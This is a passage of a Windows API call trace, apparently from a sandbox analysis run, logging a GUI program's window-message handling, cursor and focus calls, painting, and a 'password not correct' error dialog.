hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0285.518] GetCurrentProcessId () returned 0x8d0 [0285.518] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.518] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0285.518] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0285.518] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0285.518] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0285.519] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.519] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=827, y=592)) returned 1 [0285.519] WindowFromPoint (Point=0x33b) returned 0x10340 [0285.520] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033b) returned 0x1 [0285.520] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.520] GetCurrentProcessId () returned 0x8d0 [0285.520] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.520] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.520] GetCapture () returned 0x0 [0285.520] WaitMessage () returned 1 [0285.565] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.565] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.565] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.565] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0285.566] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.566] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=827, y=592)) returned 1 [0285.566] WindowFromPoint (Point=0x33b) returned 0x10340 [0285.566] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033b) returned 0x1 [0285.566] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.566] GetCurrentProcessId () returned 0x8d0 [0285.566] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.566] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.566] GetCapture () returned 0x0 [0285.566] WaitMessage () returned 1 [0285.582] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.582] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.582] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.582] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0285.582] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=827, y=592)) returned 1 [0285.582] WindowFromPoint (Point=0x33d) returned 0x10340 [0285.582] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x251033d) returned 0x1 [0285.582] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0285.582] GetCurrentProcessId () returned 0x8d0 [0285.582] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.582] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0285.583] GetCapture () returned 0x0 [0285.583] WaitMessage () returned 1 [0285.630] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.630] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x250033b) returned 0x1 [0285.630] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x210, wParam=0x201, lParam=0x14b0164) returned 0x0 [0285.630] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0285.630] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x21, wParam=0xc0060, lParam=0x2010001) returned 0x1 [0285.630] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=827, y=592)) returned 1 [0285.630] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0285.631] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0285.631] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2010001) returned 0x0 [0285.631] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.631] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0285.631] GetFocus () returned 0x1035c [0285.631] SetFocus (hWnd=0x10340) returned 0x1035c [0285.631] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x8, wParam=0x10340, lParam=0x0) returned 0x1 [0285.631] GetWindowThreadProcessId (in: hWnd=0x1035c, lpdwProcessId=0x18f7ec | out: lpdwProcessId=0x18f7ec) returned 0x8cc [0285.631] GetCurrentProcessId () returned 0x8d0 [0285.631] GetPropA (hWnd=0x1035c, lpString=0xc167) returned 0x2c746a0 [0285.631] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0285.632] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0285.632] SendMessageA (hWnd=0x1035c, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0285.632] SendMessageA (hWnd=0x1035a, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0285.632] SendMessageA (hWnd=0x40338, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0285.632] SendMessageA (hWnd=0xb0168, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0285.632] SendMessageA (hWnd=0x60050, Msg=0xb01b, wParam=0x0, lParam=0x0) returned 0x0 [0285.632] SendMessageA (hWnd=0x10340, Msg=0xb01a, wParam=0x0, lParam=0x0) returned 0x0 [0285.632] GetClientRect (in: hWnd=0x10340, lpRect=0x18fb64 | out: lpRect=0x18fb64) returned 1 [0285.633] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0285.633] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0285.633] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0285.633] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fb4c | out: lpPoint=0x18fb4c) returned 1 [0285.633] IsIconic (hWnd=0xc0060) returned 0 [0285.633] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0285.633] IsIconic (hWnd=0xc0060) returned 0 [0285.633] GetClientRect (in: hWnd=0xc0060, lpRect=0x18fb4c | out: lpRect=0x18fb4c) returned 1 [0285.633] GetWindowLongA (hWnd=0x1033e, nIndex=-16) returned 1409351680 [0285.633] GetWindowLongA (hWnd=0x10340, nIndex=-16) returned 1409351681 [0285.633] GetWindowLongA (hWnd=0x10358, nIndex=-16) returned 1409351680 [0285.633] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x7, wParam=0x1035c, lParam=0x0) returned 0x0 [0285.633] GetFocus () returned 0x10340 [0285.633] GetCapture () returned 0x0 [0285.633] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xb004, wParam=0x0, lParam=0x2c86b08) returned 0x0 [0285.633] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x201, wParam=0x1, lParam=0x4001d) returned 0x0 [0285.633] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x1, lParam=0x0) returned 0x0 [0285.633] GetKeyState (nVirtKey=18) returned 1 [0285.633] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0285.633] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0285.633] DispatchMessageA (lpMsg=0x18ff1c) [0285.633] GetCapture () returned 0x10340 [0285.634] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x202, wParam=0x0, lParam=0x4001d) [0285.634] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf3, wParam=0x0, lParam=0x0) returned 0x0 [0285.634] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x215, wParam=0x0, lParam=0x0) returned 0x0 [0285.634] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f9c0 | out: lpdwProcessId=0x18f9c0) returned 0x8cc [0285.634] GetCurrentProcessId () returned 0x8d0 [0285.634] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0285.634] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0285.634] GetCursor () returned 0x10003 [0285.634] LoadCursorA (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0285.634] SetCursor (hCursor=0x10007) returned 0x10003 [0285.635] Sleep (dwMilliseconds=0x2ee) [0286.386] SetCursor (hCursor=0x10003) returned 0x10007 [0286.425] IsIconic (hWnd=0x2024a) returned 0 [0286.425] GetWindowLongA (hWnd=0x2024a, nIndex=-16) returned -1798701056 [0286.425] GetWindowLongA (hWnd=0x2024a, nIndex=-20) returned 256 [0286.425] GetActiveWindow () returned 0xc0060 [0286.426] GetModuleHandleA (lpModuleName="user32.dll") returned 0x76860000 [0286.426] GetProcAddress (hModule=0x76860000, lpProcName="MonitorFromWindow") returned 0x76883150 [0286.426] GetProcAddress (hModule=0x76860000, lpProcName="GetMonitorInfoA") returned 0x76884413 [0286.426] MonitorFromWindow (hwnd=0xc0060, dwFlags=0x2) returned 0x10001 [0286.426] MonitorFromWindow (hwnd=0x2024a, dwFlags=0x2) returned 0x10001 [0286.426] GetActiveWindow () returned 0xc0060 [0286.426] GetCurrentThreadId () returned 0x8cc [0286.426] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0286.426] IsWindowVisible (hWnd=0x20330) returned 0 [0286.426] IsWindowVisible (hWnd=0x20334) returned 0 [0286.427] IsWindowVisible (hWnd=0xc0060) returned 1 [0286.427] IsWindowEnabled (hWnd=0xc0060) returned 1 [0286.427] EnableWindow (hWnd=0xc0060, bEnable=0) returned 0 [0286.427] GetCapture () returned 0x0 [0286.427] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0286.427] GetCapture () returned 0x0 [0286.427] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0286.427] IsWindowVisible (hWnd=0x80042) returned 0 [0286.427] IsWindowVisible (hWnd=0x2024a) returned 1 [0286.427] IsWindowEnabled (hWnd=0x2024a) returned 1 [0286.427] EnableWindow (hWnd=0x2024a, bEnable=0) returned 0 [0286.427] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0286.427] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0286.427] GetCurrentThreadId () returned 0x8cc [0286.427] EnumThreadWindows (dwThreadId=0x8cc, lpfn=0x41f2e4, lParam=0x0) returned 1 [0286.427] IsWindowVisible (hWnd=0x20330) returned 0 [0286.427] IsWindowVisible (hWnd=0x20334) returned 0 [0286.428] IsWindowVisible (hWnd=0xc0060) returned 1 [0286.428] IsWindowEnabled (hWnd=0xc0060) returned 0 [0286.428] IsWindowVisible (hWnd=0x80042) returned 0 [0286.428] IsWindowVisible (hWnd=0x30312) returned 0 [0286.428] IsWindowVisible (hWnd=0x3032a) returned 0 [0286.428] IsWindowVisible (hWnd=0x50048) returned 0 [0286.428] IsWindowVisible (hWnd=0x70044) returned 0 [0286.428] EnumWindows (lpEnumFunc=0x423eac, lParam=0x18f5b0) returned 0 [0286.428] GetWindow (hWnd=0x20330, uCmd=0x4) returned 0x0 [0286.428] GetWindow (hWnd=0x20334, uCmd=0x4) returned 0x0 [0286.428] GetWindow (hWnd=0x301ac, uCmd=0x4) returned 0x301aa [0286.428] GetWindow (hWnd=0x200f2, uCmd=0x4) returned 0x0 [0286.428] GetWindow (hWnd=0x200fa, uCmd=0x4) returned 0x0 [0286.428] GetWindow (hWnd=0x20104, uCmd=0x4) returned 0x0 [0286.428] GetWindow (hWnd=0x101e0, uCmd=0x4) returned 0x0 [0286.428] GetWindow (hWnd=0x100a4, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x100a2, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x1008c, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x100b8, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x100ac, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x100aa, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x100a6, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x10084, uCmd=0x4) returned 0x1007c [0286.429] GetWindow (hWnd=0x1007c, uCmd=0x4) returned 0x0 [0286.429] GetWindow (hWnd=0x101b4, uCmd=0x4) returned 0x201b2 [0286.429] GetWindow (hWnd=0x10118, uCmd=0x4) returned 0x0 [0286.429] GetWindow (hWnd=0x500c2, uCmd=0x4) returned 0x0 [0286.429] GetWindow (hWnd=0x100ba, uCmd=0x4) returned 0x0 [0286.429] GetWindow (hWnd=0xc0060, uCmd=0x4) returned 0x80042 [0286.429] GetWindow (hWnd=0x80042, uCmd=0x4) returned 0x2024a [0286.429] GetWindowLongA (hWnd=0x80042, nIndex=-20) returned 256 [0286.429] IsWindowVisible (hWnd=0x30312) returned 0 [0286.430] IsWindowVisible (hWnd=0x3032a) returned 0 [0286.430] IsWindowVisible (hWnd=0x50048) returned 0 [0286.430] IsWindowVisible (hWnd=0x70044) returned 0 [0286.430] MessageBoxA (hWnd=0x2024a, lpText="The password you entered is not correct. Please try again.", lpCaption="Error", uType=0x30) [0286.431] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0286.477] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x86, wParam=0x0, lParam=0x70362) returned 0x1 [0286.488] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0286.488] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x80042, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0286.488] NtdllDefWindowProc_A (hWnd=0x2024a, Msg=0x46, wParam=0x0, lParam=0x18f1c8) returned 0x0 [0286.489] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x8, wParam=0x50368, lParam=0x0) returned 0x0 [0286.489] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0286.490] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0286.490] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0286.491] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0286.491] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1 [0286.491] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2a010b57, lParam=0x1035c) returned 0x2f100178 [0286.491] GetSysColor (nIndex=8) returned 0x0 [0286.491] SetTextColor (hdc=0x2a010b57, color=0x0) returned 0x0 [0286.491] GetSysColor (nIndex=5) returned 0xffffff [0286.491] SetBkColor (hdc=0x2a010b57, color=0xffffff) returned 0xffffff [0286.492] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0286.492] FillRect (hDC=0xd010b6a, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0286.492] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0xd010b6a, lParam=0x4) returned 0x0 [0286.492] GetClientRect (in: hWnd=0x1035a, lpRect=0x18e9b8 | out: lpRect=0x18e9b8) returned 1 [0286.492] FillRect (hDC=0x3901018c, lprc=0x18e9b8, hbr=0xe100186) returned 1 [0286.492] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x318, wParam=0x3901018c, lParam=0x4) returned 0x0 [0286.493] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x2c010ba3, lParam=0x1035c) returned 0x2f100178 [0286.493] GetSysColor (nIndex=8) returned 0x0 [0286.493] SetTextColor (hdc=0x2c010ba3, color=0x0) returned 0x0 [0286.493] GetSysColor (nIndex=5) returned 0xffffff [0286.493] SetBkColor (hdc=0x2c010ba3, color=0xffffff) returned 0xffffff [0286.493] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0286.493] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18ef04 | out: lpdwProcessId=0x18ef04) returned 0x8cc [0286.494] GetCurrentProcessId () returned 0x8d0 [0286.494] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0286.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f174) returned 0x0 [0286.494] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0286.494] GetClientRect (in: hWnd=0x10340, lpRect=0x18ee64 | out: lpRect=0x18ee64) returned 1 [0286.494] FillRect (hDC=0x1b0106ca, lprc=0x18ee64, hbr=0xe100186) returned 1 [0286.494] IsIconic (hWnd=0xc0060) returned 0 [0286.494] IsIconic (hWnd=0xc0060) returned 0 [0286.494] GetClientRect (in: hWnd=0xc0060, lpRect=0x18ed44 | out: lpRect=0x18ed44) returned 1 [0286.494] FillRect (hDC=0x3e01069e, lprc=0x18ed44, hbr=0xe100186) returned 1 [0286.494] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3e01069e, lParam=0x4) returned 0x0 [0286.495] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3e01069e, lParam=0x10340) returned 0xe100186 [0286.495] GetSysColor (nIndex=8) returned 0x0 [0286.495] SetTextColor (hdc=0x3e01069e, color=0x0) returned 0x0 [0286.495] GetSysColor (nIndex=15) returned 0xf0f0f0 [0286.495] SetBkColor (hdc=0x3e01069e, color=0xf0f0f0) returned 0xf0f0f0 [0286.495] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0286.495] GetCurrentProcessId () returned 0x8d0 [0286.495] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0286.495] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0286.495] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18eb6c | out: lpdwProcessId=0x18eb6c) returned 0x8cc [0286.495] GetCurrentProcessId () returned 0x8d0 [0286.495] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0286.495] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18ee54) returned 0x0 [0286.495] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0286.496] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18dd28) returned 0x7 [0286.496] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18dd00) returned 0x7 [0286.504] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x200fffe) returned 0x0 [0286.543] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1 [0286.543] CallWindowProcA (lpPrevWndFunc=0xffff020f, hWnd=0x1035c, Msg=0x85, wParam=0x4d040b94, lParam=0x0) returned 0x1 [0286.543] SendMessageA (hWnd=0x1035c, Msg=0xbd33, wParam=0x1f01019b, lParam=0x1035c) returned 0x2f100178 [0286.543] GetSysColor (nIndex=8) returned 0x0 [0286.543] SetTextColor (hdc=0x1f01019b, color=0x0) returned 0x0 [0286.543] GetSysColor (nIndex=5) returned 0xffffff [0286.543] SetBkColor (hdc=0x1f01019b, color=0xffffff) returned 0xffffff